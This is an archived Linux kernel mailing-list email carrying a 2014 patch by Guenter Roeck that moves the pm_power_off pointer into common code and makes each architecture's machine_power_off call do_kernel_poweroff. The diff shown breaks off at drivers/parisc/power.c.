	bh=KkwZESf7vDLZSLDIBB45ala/NK7B7P0LmEwdL/+jyxk=; 
	b=8/LsIf52t1sRziw6f9D9M8QmIc9kxbKZXrXgKzIrd6VTodczfes31Mcn54PJRVKtaLpiWZjVO77mZEDgUdMFNDzoHLMNG3B/gKlXJr7Pc7HPPcHkL1x7g7LoYWszeXoj3OrJx3Dxx9MvTVhoBtEY5W2HpWNf6rNOLjxIOxaHoG4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>) id 1XbNMM-002j0D-Pp
	for xen-devel@lists.xenproject.org; Tue, 07 Oct 2014 05:30:55 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net
	([108.223.40.66]:32901 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNKj-002a2E-Vh; Tue, 07 Oct 2014 05:29:17 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: *
X-Spam-Status: No, score=2.0 required=50.0 tests=SpamClass_Suspect,
	VirusClass_Unknown autolearn=disabled version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Suspect
X-CTCH-VOD: Unknown
X-CTCH-Flags: 512
X-CTCH-RefID: str=0001.0A020208.54337A8F.0057, ss=1, re=0.000, recu=0.000,
	reip=0.000, cl=1, cld=1, fgs=512, sb=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 915
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 2
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse,
	please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - lists.xenproject.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from
	get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <http://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
	<mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <http://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
	<mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Original-Sender: xen-devel-bounces@lists.xen.org
Errors-To: xen-devel-bounces@lists.xen.org
Xref: news.gmane.org gmane.comp.emulators.xen.devel:218378 gmane.linux.kernel:1802468 gmane.linux.ports.mips.general:44179 gmane.linux.kernel.efi:4745 gmane.linux.ports.ia64:24498 gmane.linux.kernel.virtualization.lguest:1477 gmane.linux.ports.hexagon:809 gmane.linux.ports.sh.devel:39802 gmane.linux.acpi.devel:71291 gmane.linux.drivers.devicetree:93058 gmane.linux.uml.devel:14681 gmane.linux.power-management.general:50633 gmane.linux.ports.tegra:19491 gmane.linux.kernel.openipmi:2468 gmane.linux.kernel.metag:329 gmane.linux.ports.arm.kernel:362363 gmane.linux.ports.parisc:6104 gmane.linux.ports.alpha:2462 gmane.linux.ports.ppc64.devel:105888
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/218378>

pm_power_off is defined for all architectures. Move it to common code.

Have all architectures call do_kernel_poweroff instead of pm_power_off.
Some architectures point pm_power_off to machine_power_off. For those,
call do_kernel_poweroff from machine_power_off instead.

Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Russell King <linux@arm.linux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Cc: Steven Miao <realmz6@gmail.com>
Cc: Mark Salter <msalter@redhat.com>
Cc: Aurelien Jacquiot <a-jacquiot@ti.com>
Cc: Mikael Starvik <starvik@axis.com>
Cc: Jesper Nilsson <jesper.nilsson@axis.com>
Cc: David Howells <dhowells@redhat.com>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Hirokazu Takata <takata@linux-m32r.org>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: James Hogan <james.hogan@imgtec.com>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Koichi Yasutake <yasutake.koichi@jp.panasonic.com>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Chen Liqin <liqin.linux@gmail.com>
Cc: Lennox Wu <lennox.wu@gmail.com>
Cc: David S. Miller <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@tilera.com>
Cc: Jeff Dike <jdike@addtoit.com>
Cc: Richard Weinberger <richard@nod.at>
Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: H. Peter Anvin <hpa@zytor.com>
Cc: Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>
Cc: Boris Ostrovsky <boris.ostrovsky@oracle.com>
Cc: David Vrabel <david.vrabel@citrix.com>
Cc: Chris Zankel <chris@zankel.net>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Rafael J. Wysocki <rjw@rjwysocki.net>
Cc: Len Brown <len.brown@intel.com>
Cc: Pavel Machek <pavel@ucw.cz>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/alpha/kernel/process.c        |  9 +++------
 arch/arc/kernel/reset.c            |  5 +----
 arch/arm/kernel/process.c          |  5 +----
 arch/arm64/kernel/process.c        |  5 +----
 arch/avr32/kernel/process.c        |  6 +-----
 arch/blackfin/kernel/process.c     |  3 ---
 arch/blackfin/kernel/reboot.c      |  2 ++
 arch/c6x/kernel/process.c          |  9 +--------
 arch/cris/kernel/process.c         |  4 +---
 arch/frv/kernel/process.c          |  5 ++---
 arch/hexagon/kernel/reset.c        |  5 ++---
 arch/ia64/kernel/process.c         |  5 +----
 arch/m32r/kernel/process.c         |  8 ++++----
 arch/m68k/kernel/process.c         |  6 +-----
 arch/metag/kernel/process.c        |  6 +-----
 arch/microblaze/kernel/process.c   |  3 ---
 arch/microblaze/kernel/reset.c     |  1 +
 arch/mips/kernel/reset.c           |  6 +-----
 arch/mn10300/kernel/process.c      |  8 ++------
 arch/openrisc/kernel/process.c     |  8 +++++---
 arch/parisc/kernel/process.c       |  8 ++++----
 arch/powerpc/kernel/setup-common.c |  6 +++---
 arch/s390/kernel/setup.c           |  8 ++------
 arch/score/kernel/process.c        |  8 ++++----
 arch/sh/kernel/reboot.c            |  6 +-----
 arch/sparc/kernel/process_32.c     | 10 ++--------
 arch/sparc/kernel/reboot.c         |  8 ++------
 arch/tile/kernel/reboot.c          |  7 +++----
 arch/um/kernel/reboot.c            |  2 --
 arch/unicore32/kernel/process.c    |  9 +--------
 arch/x86/kernel/reboot.c           | 11 +++--------
 arch/x86/xen/enlighten.c           |  3 +--
 arch/xtensa/kernel/process.c       |  4 ----
 drivers/parisc/power.c             |  3 +--
 kernel/power/poweroff_handler.c    |  8 ++++++++
 kernel/reboot.c                    |  4 ++--
 36 files changed, 68 insertions(+), 146 deletions(-)

diff --git a/arch/alpha/kernel/process.c b/arch/alpha/kernel/process.c
index 1941a07..a463e8f 100644
--- a/arch/alpha/kernel/process.c
+++ b/arch/alpha/kernel/process.c
@@ -24,6 +24,7 @@
 #include <linux/vt.h>
 #include <linux/mman.h>
 #include <linux/elfcore.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/tty.h>
 #include <linux/console.h>
@@ -40,12 +41,6 @@
 #include "proto.h"
 #include "pci_impl.h"
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_ALPHA_WTINT
 /*
  * Sleep the CPU.
@@ -184,6 +179,8 @@ machine_halt(void)
 void
 machine_power_off(void)
 {
+	do_kernel_poweroff();
+
 	common_shutdown(LINUX_REBOOT_CMD_POWER_OFF, NULL);
 }
 
diff --git a/arch/arc/kernel/reset.c b/arch/arc/kernel/reset.c
index 2768fa1..8a4fc47 100644
--- a/arch/arc/kernel/reset.c
+++ b/arch/arc/kernel/reset.c
@@ -26,9 +26,6 @@ void machine_restart(char *__unused)
 
 void machine_power_off(void)
 {
-	/* FIXME ::  power off ??? */
+	do_kernel_poweroff();
 	machine_halt();
 }
-
-void (*pm_power_off) (void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
index 9fced7b..954e79c 100644
--- a/arch/arm/kernel/process.c
+++ b/arch/arm/kernel/process.c
@@ -117,8 +117,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -205,8 +203,7 @@ void machine_power_off(void)
 	local_irq_disable();
 	smp_send_stop();
 
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 }
 
 /*
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index e0ef8ba..db396bb 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -94,8 +94,6 @@ void soft_restart(unsigned long addr)
 /*
  * Function pointers to optional machine specific functions
  */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL_GPL(pm_power_off);
 
 void (*arm_pm_restart)(enum reboot_mode reboot_mode, const char *cmd);
 
@@ -155,8 +153,7 @@ void machine_power_off(void)
 {
 	local_irq_disable();
 	smp_send_stop();
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 }
 
 /*
diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c
index 42a53e74..c6774d8 100644
--- a/arch/avr32/kernel/process.c
+++ b/arch/avr32/kernel/process.c
@@ -23,9 +23,6 @@
 
 #include <mach/pm.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * This file handles the architecture-dependent parts of process handling..
  */
@@ -48,8 +45,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 }
 
 void machine_restart(char *cmd)
diff --git a/arch/blackfin/kernel/process.c b/arch/blackfin/kernel/process.c
index 4aa5545..812dd83 100644
--- a/arch/blackfin/kernel/process.c
+++ b/arch/blackfin/kernel/process.c
@@ -39,9 +39,6 @@ int nr_l1stack_tasks;
 void *l1_stack_base;
 unsigned long l1_stack_len;
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * The idle loop on BFIN
  */
diff --git a/arch/blackfin/kernel/reboot.c b/arch/blackfin/kernel/reboot.c
index c4f50a3..1da27d1 100644
--- a/arch/blackfin/kernel/reboot.c
+++ b/arch/blackfin/kernel/reboot.c
@@ -7,6 +7,7 @@
  */
 
 #include <linux/interrupt.h>
+#include <linux/pm.h>
 #include <asm/bfin-global.h>
 #include <asm/reboot.h>
 #include <asm/bfrom.h>
@@ -106,6 +107,7 @@ void machine_halt(void)
 __attribute__((weak))
 void native_machine_power_off(void)
 {
+	do_kernel_poweroff();
 	idle_with_irq_disabled();
 }
 
diff --git a/arch/c6x/kernel/process.c b/arch/c6x/kernel/process.c
index 57d2ea8..ddc4a61 100644
--- a/arch/c6x/kernel/process.c
+++ b/arch/c6x/kernel/process.c
@@ -27,12 +27,6 @@ void	(*c6x_halt)(void);
 extern asmlinkage void ret_from_fork(void);
 extern asmlinkage void ret_from_kernel_thread(void);
 
-/*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	unsigned long tmp;
@@ -73,8 +67,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 	halt_loop();
 }
 
diff --git a/arch/cris/kernel/process.c b/arch/cris/kernel/process.c
index b78498e..eaafad0 100644
--- a/arch/cris/kernel/process.c
+++ b/arch/cris/kernel/process.c
@@ -31,9 +31,6 @@
 
 extern void default_idle(void);
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void arch_cpu_idle(void)
 {
 	default_idle();
@@ -60,6 +57,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
+	do_kernel_poweroff();
 }
 
 /*
diff --git a/arch/frv/kernel/process.c b/arch/frv/kernel/process.c
index 5d40aeb77..a673725 100644
--- a/arch/frv/kernel/process.c
+++ b/arch/frv/kernel/process.c
@@ -42,9 +42,6 @@ asmlinkage void ret_from_kernel_thread(void);
 
 #include <asm/pgalloc.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static void core_sleep_idle(void)
 {
 #ifdef LED_DEBUG_SLEEP
@@ -107,6 +104,8 @@ void machine_power_off(void)
 	gdbstub_exit(0);
 #endif
 
+	do_kernel_poweroff();
+
 	for (;;);
 }
 
diff --git a/arch/hexagon/kernel/reset.c b/arch/hexagon/kernel/reset.c
index 76483c1..cfb8e3663 100644
--- a/arch/hexagon/kernel/reset.c
+++ b/arch/hexagon/kernel/reset.c
@@ -16,11 +16,13 @@
  * 02110-1301, USA.
  */
 
+#include <linux/pm.h>
 #include <linux/smp.h>
 #include <asm/hexagon_vm.h>
 
 void machine_power_off(void)
 {
+	do_kernel_poweroff();
 	smp_send_stop();
 	__vmstop();
 }
@@ -32,6 +34,3 @@ void machine_halt(void)
 void machine_restart(char *cmd)
 {
 }
-
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/ia64/kernel/process.c b/arch/ia64/kernel/process.c
index deed6fa..ac68302 100644
--- a/arch/ia64/kernel/process.c
+++ b/arch/ia64/kernel/process.c
@@ -57,8 +57,6 @@ void (*ia64_mark_idle)(int);
 
 unsigned long boot_option_idle_override = IDLE_NO_OVERRIDE;
 EXPORT_SYMBOL(boot_option_idle_override);
-void (*pm_power_off) (void);
-EXPORT_SYMBOL(pm_power_off);
 
 void
 ia64_do_show_stack (struct unw_frame_info *info, void *arg)
@@ -675,8 +673,7 @@ machine_halt (void)
 void
 machine_power_off (void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 	machine_halt();
 }
 
diff --git a/arch/m32r/kernel/process.c b/arch/m32r/kernel/process.c
index e69221d..b71c852 100644
--- a/arch/m32r/kernel/process.c
+++ b/arch/m32r/kernel/process.c
@@ -23,6 +23,7 @@
 #include <linux/fs.h>
 #include <linux/slab.h>
 #include <linux/module.h>
+#include <linux/pm.h>
 #include <linux/ptrace.h>
 #include <linux/unistd.h>
 #include <linux/hardirq.h>
@@ -44,9 +45,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 	return tsk->thread.lr;
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_restart(char *__unused)
 {
 #if defined(CONFIG_PLAT_MAPPI3)
@@ -67,7 +65,9 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	/* M32R_FIXME */
+	do_kernel_poweroff();
+	for (;;)
+		;
 }
 
 void show_regs(struct pt_regs * regs)
diff --git a/arch/m68k/kernel/process.c b/arch/m68k/kernel/process.c
index afe3d6e..f2c02fe 100644
--- a/arch/m68k/kernel/process.c
+++ b/arch/m68k/kernel/process.c
@@ -78,14 +78,10 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 	for (;;);
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void show_regs(struct pt_regs * regs)
 {
 	printk("\n");
diff --git a/arch/metag/kernel/process.c b/arch/metag/kernel/process.c
index 483dff9..d725043 100644
--- a/arch/metag/kernel/process.c
+++ b/arch/metag/kernel/process.c
@@ -67,9 +67,6 @@ void arch_cpu_idle_dead(void)
 }
 #endif
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void (*soc_restart)(char *cmd);
 void (*soc_halt)(void);
 
@@ -90,8 +87,7 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 	smp_send_stop();
 	hard_processor_halt(HALT_OK);
 }
diff --git a/arch/microblaze/kernel/process.c b/arch/microblaze/kernel/process.c
index b2dd371..0ebca36 100644
--- a/arch/microblaze/kernel/process.c
+++ b/arch/microblaze/kernel/process.c
@@ -44,9 +44,6 @@ void show_regs(struct pt_regs *regs)
 				regs->msr, regs->ear, regs->esr, regs->fsr);
 }
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void flush_thread(void)
 {
 }
diff --git a/arch/microblaze/kernel/reset.c b/arch/microblaze/kernel/reset.c
index fbe58c6..9498ee7 100644
--- a/arch/microblaze/kernel/reset.c
+++ b/arch/microblaze/kernel/reset.c
@@ -103,6 +103,7 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	pr_notice("Machine power off...\n");
+	do_kernel_poweroff();
 	while (1)
 		;
 }
diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
index 07fc524..f5e134d 100644
--- a/arch/mips/kernel/reset.c
+++ b/arch/mips/kernel/reset.c
@@ -21,9 +21,6 @@
  */
 void (*_machine_restart)(char *command);
 void (*_machine_halt)(void);
-void (*pm_power_off)(void);
-
-EXPORT_SYMBOL(pm_power_off);
 
 void machine_restart(char *command)
 {
@@ -39,6 +36,5 @@ void machine_halt(void)
 
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 }
diff --git a/arch/mn10300/kernel/process.c b/arch/mn10300/kernel/process.c
index 3707da5..00d8b61 100644
--- a/arch/mn10300/kernel/process.c
+++ b/arch/mn10300/kernel/process.c
@@ -20,6 +20,7 @@
 #include <linux/user.h>
 #include <linux/interrupt.h>
 #include <linux/delay.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 #include <linux/percpu.h>
 #include <linux/err.h>
@@ -45,12 +46,6 @@ unsigned long thread_saved_pc(struct task_struct *tsk)
 }
 
 /*
- * power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
-/*
  * On SMP it's slightly faster (but much more power-consuming!)
  * to poll the ->work.need_resched flag instead of waiting for the
  * cross-CPU IPI to arrive. Use this option with caution.
@@ -93,6 +88,7 @@ void machine_power_off(void)
 #ifdef CONFIG_KERNEL_DEBUGGER
 	gdbstub_exit(0);
 #endif
+	do_kernel_poweroff();
 }
 
 void show_regs(struct pt_regs *regs)
diff --git a/arch/openrisc/kernel/process.c b/arch/openrisc/kernel/process.c
index 386af25..f3ad1bc 100644
--- a/arch/openrisc/kernel/process.c
+++ b/arch/openrisc/kernel/process.c
@@ -25,6 +25,7 @@
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/mm.h>
+#include <linux/pm.h>
 #include <linux/stddef.h>
 #include <linux/unistd.h>
 #include <linux/ptrace.h>
@@ -51,7 +52,7 @@
  */
 struct thread_info *current_thread_info_set[NR_CPUS] = { &init_thread_info, };
 
-void machine_restart(void)
+void machine_restart(char *cmd)
 {
 	printk(KERN_INFO "*** MACHINE RESTART ***\n");
 	__asm__("l.nop 1");
@@ -72,11 +73,12 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	printk(KERN_INFO "*** MACHINE POWER OFF ***\n");
+
+	do_kernel_poweroff();
+
 	__asm__("l.nop 1");
 }
 
-void (*pm_power_off) (void) = machine_power_off;
-
 /*
  * When a process does an "exec", machine state like FPU and debug
  * registers need to be reset.  This is a hook function for that.
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 0bbbf0d..5f1d2af 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -41,6 +41,7 @@
 #include <linux/fs.h>
 #include <linux/module.h>
 #include <linux/personality.h>
+#include <linux/pm.h>
 #include <linux/ptrace.h>
 #include <linux/sched.h>
 #include <linux/slab.h>
@@ -133,7 +134,9 @@ void machine_power_off(void)
 	pdc_soft_power_button(0);
 	
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
-		
+
+	do_kernel_poweroff();
+
 	/* It seems we have no way to power the system off via
 	 * software. The user has to press the button himself. */
 
@@ -141,9 +144,6 @@ void machine_power_off(void)
 	       "Please power this system off now.");
 }
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * Free current thread data structures etc..
  */
diff --git a/arch/powerpc/kernel/setup-common.c b/arch/powerpc/kernel/setup-common.c
index 1b0e260..b6b5fcb 100644
--- a/arch/powerpc/kernel/setup-common.c
+++ b/arch/powerpc/kernel/setup-common.c
@@ -140,6 +140,9 @@ void machine_power_off(void)
 	machine_shutdown();
 	if (ppc_md.power_off)
 		ppc_md.power_off();
+
+	do_kernel_poweroff();
+
 #ifdef CONFIG_SMP
 	smp_send_stop();
 #endif
@@ -150,9 +153,6 @@ void machine_power_off(void)
 /* Used by the G5 thermal driver */
 EXPORT_SYMBOL_GPL(machine_power_off);
 
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL_GPL(pm_power_off);
-
 void machine_halt(void)
 {
 	machine_shutdown();
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index 82bc113..1fa182f 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -263,13 +263,9 @@ void machine_power_off(void)
 		 */
 		console_unblank();
 	_machine_power_off();
-}
 
-/*
- * Dummy power off function.
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL_GPL(pm_power_off);
+	do_kernel_poweroff();
+}
 
 static int __init early_parse_mem(char *p)
 {
diff --git a/arch/score/kernel/process.c b/arch/score/kernel/process.c
index a1519ad3..cf9531a 100644
--- a/arch/score/kernel/process.c
+++ b/arch/score/kernel/process.c
@@ -29,9 +29,6 @@
 #include <linux/pm.h>
 #include <linux/rcupdate.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 /* If or when software machine-restart is implemented, add code here. */
 void machine_restart(char *command) {}
 
@@ -39,7 +36,10 @@ void machine_restart(char *command) {}
 void machine_halt(void) {}
 
 /* If or when software machine-power-off is implemented, add code here. */
-void machine_power_off(void) {}
+void machine_power_off(void)
+{
+	do_kernel_poweroff();
+}
 
 void ret_from_fork(void);
 void ret_from_kernel_thread(void);
diff --git a/arch/sh/kernel/reboot.c b/arch/sh/kernel/reboot.c
index 04afe5b..e59b2aa 100644
--- a/arch/sh/kernel/reboot.c
+++ b/arch/sh/kernel/reboot.c
@@ -11,9 +11,6 @@
 #include <asm/tlbflush.h>
 #include <asm/traps.h>
 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 #ifdef CONFIG_SUPERH32
 static void watchdog_trigger_immediate(void)
 {
@@ -51,8 +48,7 @@ static void native_machine_shutdown(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 }
 
 static void native_machine_halt(void)
diff --git a/arch/sparc/kernel/process_32.c b/arch/sparc/kernel/process_32.c
index 50e7b62..3138191 100644
--- a/arch/sparc/kernel/process_32.c
+++ b/arch/sparc/kernel/process_32.c
@@ -48,14 +48,6 @@
  */
 void (*sparc_idle)(void);
 
-/* 
- * Power-off handler instantiation for pm.h compliance
- * This is done via auxio, but could be used as a fallback
- * handler when auxio is not present-- unused for now...
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 /*
  * sysctl - toggle power-off restriction for serial console 
  * systems in machine_power_off()
@@ -112,6 +104,8 @@ void machine_power_off(void)
 		sbus_writeb(power_register, auxio_power_register);
 	}
 
+	do_kernel_poweroff();
+
 	machine_halt();
 }
 
diff --git a/arch/sparc/kernel/reboot.c b/arch/sparc/kernel/reboot.c
index eba7d91..6717c5d 100644
--- a/arch/sparc/kernel/reboot.c
+++ b/arch/sparc/kernel/reboot.c
@@ -16,17 +16,13 @@
  */
 int scons_pwroff = 1;
 
-/* This isn't actually used, it exists merely to satisfy the
- * reference in kernel/sys.c
- */
-void (*pm_power_off)(void) = machine_power_off;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
 	if (strcmp(of_console_device->type, "serial") || scons_pwroff)
 		prom_halt_power_off();
 
+	do_kernel_poweroff();
+
 	prom_halt();
 }
 
diff --git a/arch/tile/kernel/reboot.c b/arch/tile/kernel/reboot.c
index 6c5d2c0..706d3bd 100644
--- a/arch/tile/kernel/reboot.c
+++ b/arch/tile/kernel/reboot.c
@@ -36,6 +36,9 @@ void machine_power_off(void)
 {
 	arch_local_irq_disable_all();
 	smp_send_stop();
+
+	do_kernel_poweroff();
+
 	hv_power_off();
 }
 
@@ -45,7 +48,3 @@ void machine_restart(char *cmd)
 	smp_send_stop();
 	hv_restart((HV_VirtAddr) "vmlinux", (HV_VirtAddr) cmd);
 }
-
-/* No interesting distinction to be made here. */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
diff --git a/arch/um/kernel/reboot.c b/arch/um/kernel/reboot.c
index ced8903..a82ef28 100644
--- a/arch/um/kernel/reboot.c
+++ b/arch/um/kernel/reboot.c
@@ -11,8 +11,6 @@
 #include <os.h>
 #include <skas.h>
 
-void (*pm_power_off)(void);
-
 static void kill_off_processes(void)
 {
 	if (proc_mm)
diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/process.c
index b008e99..2d5d522 100644
--- a/arch/unicore32/kernel/process.c
+++ b/arch/unicore32/kernel/process.c
@@ -56,16 +56,9 @@ void machine_halt(void)
 	gpio_set_value(GPO_SOFT_OFF, 0);
 }
 
-/*
- * Function pointers to optional machine specific functions
- */
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
 void machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 	machine_halt();
 }
 
diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c
index 17962e6..7a5cc87 100644
--- a/arch/x86/kernel/reboot.c
+++ b/arch/x86/kernel/reboot.c
@@ -30,12 +30,6 @@
 #include <asm/x86_init.h>
 #include <asm/efi.h>
 
-/*
- * Power off function, if any
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 static const struct desc_ptr no_idt = {};
 
 /*
@@ -647,11 +641,12 @@ static void native_machine_halt(void)
 
 static void native_machine_power_off(void)
 {
-	if (pm_power_off) {
+	if (have_kernel_poweroff()) {
 		if (!reboot_force)
 			machine_shutdown();
-		pm_power_off();
+		do_kernel_poweroff();
 	}
+
 	/* A fallback in case there is no PM info available */
 	tboot_shutdown(TB_SHUTDOWN_HALT);
 }
diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
index c0cb11f..ab8e056 100644
--- a/arch/x86/xen/enlighten.c
+++ b/arch/x86/xen/enlighten.c
@@ -1320,8 +1320,7 @@ static void xen_machine_halt(void)
 
 static void xen_machine_power_off(void)
 {
-	if (pm_power_off)
-		pm_power_off();
+	do_kernel_poweroff();
 	xen_reboot(SHUTDOWN_poweroff);
 }
 
diff --git a/arch/xtensa/kernel/process.c b/arch/xtensa/kernel/process.c
index 1c85323..c487296 100644
--- a/arch/xtensa/kernel/process.c
+++ b/arch/xtensa/kernel/process.c
@@ -49,10 +49,6 @@ extern void ret_from_kernel_thread(void);
 
 struct task_struct *current_set[NR_CPUS] = {&init_task, };
 
-void (*pm_power_off)(void) = NULL;
-EXPORT_SYMBOL(pm_power_off);
-
-
 #if XTENSA_HAVE_COPROCESSORS
 
 void coprocessor_release_all(struct thread_info *ti)
diff --git a/drivers/parisc/power.c b/drivers/parisc/power.c
